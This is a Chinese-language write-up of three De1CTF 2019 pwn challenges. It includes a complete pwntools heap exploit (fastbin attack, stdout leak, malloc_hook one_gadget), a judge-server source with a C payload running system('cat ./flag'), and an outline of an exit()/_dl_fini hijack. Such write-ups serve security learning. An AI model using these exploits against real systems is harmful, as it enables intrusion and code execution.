De1CTF 2019 部分PWN writeup by Volcano


XCTF的国际赛分站De1CTF,赛中只做出两道比较简单的题,weaponA+B Judge.我队最终排名56名。


0x01 Weapon

程序分析

checksec查看保护机制,看到保护全开

[*] '/home/sunxiaokong/Desktop/pwn/De1CTF-2019/Weapon/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序中维护了一个大小为10的weapon数组,weapon结构体定以如下,由一个8字节的指针(name),和一个8字节的整数(size)组成.

程序提供了create、delete、rename功能,分别对应创建weapon结构、删除、编辑name。

漏洞点

漏洞点位于delete功能函数中,free掉name指针后未将name指针置零,size也未置零,造成存在悬挂指针。

利用思路

通过远程double free测试,远程libc版本<2.26,需通过fastbin attack来利用

由于程序没有提供输出name内容的功能,因此不能通过正常的UAF手段来泄露libc基地址。因此,要通过覆盖_IO_2_1_stdout来泄露libc地址。参考链接如下:
https://xz.aliyun.com/t/5057#toc-1
通过_IO_2_1_stdout来泄露的关键是,要通过fastbin attack分配堆到_IO_2_1_stdout处,从而改写结构体造成leak,而程序又开启了PIE,因此要通过partial overwrite来爆破_IO_2_1_stdout的地址,也就是,使fastbin中的fd指针指向libc中的地址,然后通过改写低字节,爆破中间字节来使下一次分配时分配到_IO_2_1_stdout

首先要使得fastbin中的fd指针指向libc中,由于程序限定了size必须<0x60,因此不能直接获得指向libc(main_arena-88)的fd指针。这里可以通过UAF,先释放一个fastbin_chunk,再将其伪造成符合unsorted_bin大小的chunk,再释放一次,这样,该chunk就会既存在fastbin中也存在于unsortedbin中,fd指针就会指向libc。然后再进行常规的爆破就可以了。

成功泄露libc后,劫持malloc_hookone_gadget即可getshell

完整EXP

#-*-coding:utf8-*-
from pwn import *

def create(index, size, name):
    p.sendlineafter('choice >>', '1')
    p.sendlineafter('wlecome input your size of weapon: ', str(size))
    p.sendlineafter('input index: ', str(index))
    p.sendafter('input your name:', name)

def delete(index):
    p.sendlineafter('choice >>', '2')
    p.sendlineafter('input idx :', str(index))

def rename(index, new_name):
    p.sendlineafter('choice >>', '3')
    p.sendlineafter('input idx: ', str(index))
    p.sendafter('new content:', new_name)

def exploit():
    create(9, 0x10, p64(0)+p64(0x21))
    create(0, 0x60, 'aaaa') #chunk0
    create(1, 0x10, 'bbbb')

    delete(0)
    delete(9)
    delete(1)
    #修改chunk1的fd指针,使之指向chunk0的头部
    rename(1, '\x10')
    create(1, 0x10, 'a')
    #将chunk0伪造成size为0xf0的chunk
    create(2, 0x10, p64(0x0)+p64(0xf1))
    create(8, 0x20, 'aaaa')
    #并避免合并
    create(7, 0x50, 'd'*0x20+p64(0xf1)+p64(0x21)+'a'*0x10+p64(0x20)+p64(0x21)) 
    #将chunk0放入unsorted bin中,同时也存在fastbin中,chunk0->fd指向一个libc中的地址
    delete(0)
    #将chunk0的size改回0x70
    rename(2, p64(0)+p64(0x71))
    #改写chunk0->fd的低两字节,使之指向_IO_2_1_stdout附近的fake_chunk(需要爆破一字节)
    rename(0, '\xdd\xa5')
    create(0, 0x60, '\xe5')
    create(3, 0x60, '\0')
    #修改_IO_2_1_stdout结构体,使泄漏出libc中的地址
    rename(3, '\0'*0x33+p64(0xfbad1800)+p64(0)*3+"\x08")
    p.recvline()
    p.recvn(56)
    leak = u64(p.recvn(8))
    log.success('leak: '+hex(leak))
    libc_base = leak - 0x3c5608
    log.success('libc address: '+hex(libc_base))
    fake_chunk =libc_base + 0x3c4aed
    one_gadget = libc_base + 0xf1147
    delete(0)
    rename(0, p64(fake_chunk))
    create(0, 0x60, p64(fake_chunk))
    create(0, 0x60, 'a'*0x13+p64(one_gadget))
    p.sendlineafter('choice >>', '1')
    p.sendlineafter('wlecome input your size of weapon: ', '16')
    p.sendlineafter('input index: ', '5')
    p.sendline('date')

if __name__ == '__main__':
    #爆破
    while(True):
        try:
            p = process('./pwn')
            exploit()
            p.interactive()
            break
        except:
            p.close()
            continue

A+B Judge

题目分析

题目提供了一个在线编译服务,可以给他一个源代码编译,并且它会将输出结果打印出来

服务端python脚本:

#! /bin/python
from flask import Flask,render_template,request
import uuid
import os
import lorun
import multiprocessing
app = Flask(__name__)


RESULT_STR = [
    'Accepted',
    'Presentation Error',
    'Time Limit Exceeded',
    'Memory Limit Exceeded',
    'Wrong Answer',
    'Runtime Error',
    'Output Limit Exceeded',
    'Compile Error',
    'System Error'
]

def compile_binary(random_prefix):
    os.system('gcc %s.c -o %s_prog'%(random_prefix,random_prefix))

@app.route("/judge",methods=['POST'])
def judge():
        try:
            random_prefix = uuid.uuid1().hex
            random_src = random_prefix + '.c'
            random_prog = random_prefix + '_prog'
            random_output = random_prefix + '.out'
            if 'code' not in request.form:
                return 'code not exists!'
            #write into file
            with open(random_src,'w') as f:
                f.write(request.form['code'])

            #compile
            process = multiprocessing.Process(target=compile_binary,args=(random_prefix,))
            process.start()
            process.join(1)
            if process.is_alive():
                process.terminate()
                return 'compile error!'

            if not os.path.exists(random_prefix+'_prog'):
                os.remove(random_src)
                return 'compile error!'

            fin = open('a+b.in','r')
            ftemp = open(random_output, 'w')
            runcfg = {
                'args':['./'+random_prog],
                'fd_in':fin.fileno(),
                'fd_out':ftemp.fileno(),
                'timelimit':1000,
                'memorylimit':200000,
                'trace':True,
                'calls':[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 21, 25, 56, 63, 78, 79, 87, 89, 97, 102, 158, 186, 202, 218, 219, 231, 234, 273],
                'files':{
                  "/etc/ld.so.cache":524288,
                  "/lib/x86_64-linux-gnu/libc.so.6":524288,
                  "/lib/x86_64-linux-gnu/libm.so.6":524288,
                  "/usr/lib/x86_64-linux-gnu/libstdc++.so.6":524288,
                  "/lib/x86_64-linux-gnu/libgcc_s.so.1":524288,
                  "/lib/x86_64-linux-gnu/libpthread.so.0":524288,
                  "/etc/localtime":524288
                 }      
            }

            rst = lorun.run(runcfg)
            fin.close()
            ftemp.close()

            os.remove(random_prog)
            os.remove(random_src)

            if rst['result'] == 0:
                ftemp = open(random_output,'r')
                fout = open('a+b.out','r')
                crst = lorun.check(fout.fileno() , ftemp.fileno())
                fout.seek(0)
                ftemp.seek(0)
                standard_output = fout.read()
                test_output = ftemp.read()
                fout.close()
                ftemp.close()
                if crst != 0:
                    msg = RESULT_STR[crst] +'<br/>'
                    msg += 'standard output:<br/>'
                    msg += standard_output +'<br/>'
                    msg += 'your output:<br/>'
                    msg += test_output
                    os.remove(random_output)
                    return msg
            os.remove(random_output)
            return RESULT_STR[rst['result']]
        except Exception as e:
            if os.path.exists(random_prog):
                os.remove(random_prog)

            if os.path.exists(random_src):
                os.remove(random_src)

            return 'ERROR! '+str(e)
        return 'ERROR!'

@app.route("/")
def hello():
    return render_template('index.html')

if __name__ == '__main__':  
    app.run(host='0.0.0.0',port=11111)

获取flag

通过题目提供的docker文件夹,可以看到,flag与server.py在同一个目录下

而server又没有过滤system等函数,因此直接跑system("cat ./flag")getshell

#include <stdio.h>
int main()
{
    system("cat ./flag");
    return 0;
}


0x03 Unprintable(大致思路)

比赛时没有做出来,根据官方writeup整理了一下大致思路,记录一下。

程序分析

如图,main函数中会提供一个栈的地址,关闭stdout,然后往.bss段的buf中读入4096字节,然后是一个格式化字符串漏洞,最终调用exit()函数退出。

利用思路

由于关闭了stdout,并不能直接通过格式化字符串漏洞泄露地址什么的。

因此这道题的利用点在于exit()函数。gdb调试一下,单步跟进去exit()函数中,在_dl_fini()函数中可以跟到一个可以利用的点

这里,rdx的值为零,往上查看汇编代码,可以看到r12的来源

由于用gdb调试时动态库的装载地址都是不变的,所以可以下断点到这里看看rax和rbx的值。调试后可以看见,[rax+0x8]即为0x600dd8 (__do_global_dtors_aux_fini_array_entry),这是程序中.bss段前面的地址,而[rbx]为0x7ffff7ffe168,这个地址是存在于ld.so中的,该地址处的值为0。也就是说,最后call的时候,call的地址是0x600dd8 (__do_global_dtors_aux_fini_array_entry) + 偏移(*0x7ffff7ffe168),而0x7ffff7ffe168这个地址,在exit()函数调用时,是存放在栈上的。

根据官方writeup的说法,应该是通过控制这个栈地址来控制rbx的值,最终使r12指向.bss段,劫持程序的执行流。
但是我自己在追踪rbx的来源时,并没有追到这里,应该是我的调试水平太菜了吧。。。
劫持执行流之后就是一些ROP操作和gadget的利用了。这部分操作也还没有完全搞懂,这里主要是学习了exit()函数里的利用的点。
完整的利用过程在官方writeup:

https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/pwn/Unprintable/README_zh.md

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据